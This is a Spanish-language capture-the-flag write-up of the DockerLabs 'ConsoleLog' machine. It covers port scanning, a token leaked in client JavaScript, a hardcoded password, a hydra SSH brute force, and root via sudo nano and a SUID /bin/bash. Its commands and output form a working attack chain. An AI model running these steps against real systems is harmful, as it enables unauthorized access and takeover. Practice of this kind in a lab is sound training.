ConsoleLog
DockerLabs es una plataforma gratuita diseñada para practicar hacking ético al alcance de todo el mundo utilizando Docker. DockerLabs ofrece un entorno seguro y accesible para desplegar laboratorios vulnerables de la forma más eficiente y sencilla posible.
Information Gathering
El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.
1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/consolelog:-$ ping -c 1 172.17.0.03
PING 172.17.0.3 (172.17.0.3) 56(84) bytes of data.
64 bytes from 172.17.0.3: icmp_seq=1 ttl=64 time=0.032 ms
--- 172.17.0.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.032/0.032/0.032/0.000 ms
Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.
1
2
3
/home/kali/Documents/dockerlabs/consolelog:-$ nmap -p- --open -sS --min-rate 5000 -vvv 172.17.0.3 -n -Pn -oG nmap1
Host: 172.17.0.3 () Status: Up
Host: 172.17.0.3 () Ports: 80/open/tcp//http///, 3000/open/tcp//ppp///, 5000/open/tcp//upnp/// Ignored State: closed (65532)
Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/home/kali/Documents/dockerlabs/consolelog:-$ nmap -sCV -vvv -p80,3000,5000 -oN nmap/nmap2 172.17.0.3
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.61 ((Debian))
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: Mi Sitio
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
3000/tcp open http syn-ack ttl 64 Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Error
5000/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 f837107e16a227b83a6e2c16357d14fe (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFJIePZQO0+XTgRiD8dhTqAlZt67hcjqMdzF07uhb1UjckCZ085MdTFxg46SKaJRwi1OiB8GT+SeIlFbvm99Xkc=
| 256 cd11106460e8bfd9a4f48eae3bd8e18d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIESd2Y3i6yTEAk2fPflmI3fA4pNsVZub38LafzPteZlz
MAC Address: 5A:62:7A:E6:4C:58 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1
2
/home/kali/Documents/dockerlabs/consolelog:-$ whatweb 172.17.0.3
http://172.17.0.3 [200 OK] Apache[2.4.61], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.61 (Debian)], IP[172.17.0.3], Script, Title[Mi Sitio]
Web Analysis
Accedo al sitio principal y visualizo una página básica con un título y un botón marcado como “Boton en fase beta”.
Inspeccionando el botón, identifico que ejecuta la función autenticate()
definida en el archivo authentication.js
.
Revisando su contenido, descubro que imprime un mensaje de depuración que expone el token requerido por el endpoint /recurso/
.
Envio el token mediante una solicitud POST al puerto 3000 y obtengo como respuesta una cadena en texto plano que aparenta ser una contraseña.
1
2
/home/kali/Documents/dockerlabs/consolelog:-$ curl -X POST http://172.17.0.3:3000/recurso/ -H "Content-Type: application/json" -d '{"token":"tokentraviesito"}'
lapassworddebackupmaschingonadetodas
Sin embargo, fuzzeando la web descubro el directorio abierto /backend/
, el cual expone el archivo server.js
.
1
2
3
4
5
/home/kali/Documents/dockerlabs/consolelog:-$ dirb http://172.17.0.3/
---- Scanning URL: http://172.17.0.3/ ----
==> DIRECTORY: http://172.17.0.3/backend/
+ http://172.17.0.3/index.html (CODE:200|SIZE:234)
==> DIRECTORY: http://172.17.0.3/javascript/
Dentro del script encuentro la implementación del endpoint /recurso/
, confirmando que la contraseña se encuentra hardcodeada en el backend.
Data Leak Exploitation
Utilizo la contraseña descubierta anteriormente para realizar un ataque de fuerza bruta sobre el servicio SSH expuesto en el puerto 5000.
1
2
/home/kali/Documents/dockerlabs/consolelog:-$ hydra -L /opt/seclists/Usernames/xato-net-10-million-usernames.txt -p lapassworddebackupmaschingonadetodas ssh://172.17.0.3:5000 -t 40 -I
[5000][ssh] host: 172.17.0.3 login: lovely password: lapassworddebackupmaschingonadetodas
El ataque resulta exitoso con el usuario lovely
y accedo al sistema mediante SSH con las credenciales obtenidas.
1
2
3
4
5
/home/kali/Documents/dockerlabs/consolelog:-$ ssh lovely@172.17.0.3 -p 5000
lovely@172.17.0.3's password: lapassworddebackupmaschingonadetodas
lovely@413f463a3fce:~$ id
uid=1001(lovely) gid=1001(lovely) groups=1001(lovely),100(users)
Privilege Escalation
1
2
3
4
lovely@413f463a3fce:~$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
tester:x:1000:1000::/home/tester:/bin/bash
lovely:x:1001:1001:lovely,,,:/home/lovely:/bin/bash
Identifico que el usuario lovely
tiene permisos de sudo
sobre el binario /usr/bin/nano
sin requerir contraseña.
1
2
3
4
5
6
lovely@413f463a3fce:~$ sudo -l
Matching Defaults entries for lovely on 413f463a3fce:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User lovely may run the following commands on 413f463a3fce:
(ALL) NOPASSWD: /usr/bin/nano
De acuerdo a GTFOBins, nano
ejecutado con sudo
puede usarse para escalar privilegios, ya que no elimina los permisos elevados durante su ejecución.
Lanzo nano como superusuario.
1
lovely@413f463a3fce:~$ sudo nano
Y ejecuto la siguiente secuencia para obtener una shell privilegiada
Ctrl + r
,Ctrl + x
- Command to execute:
reset; sh 1>&0 2>&0
# chmod u+s /bin/bash
# exit
Salgo sin guardar cambios
Ctrl + x
, Save modifed buffer?n
Esto activa el bit SUID en /bin/bash
.
Sudo Abuse
Por ultimo, ejecuto bash -p
para iniciar una shell con privilegios de root
.
1
2
3
4
lovely@413f463a3fce:~$ bash -p
bash-5.2# id
uid=1001(lovely) gid=1001(lovely) euid=0(root) groups=1001(lovely),100(users)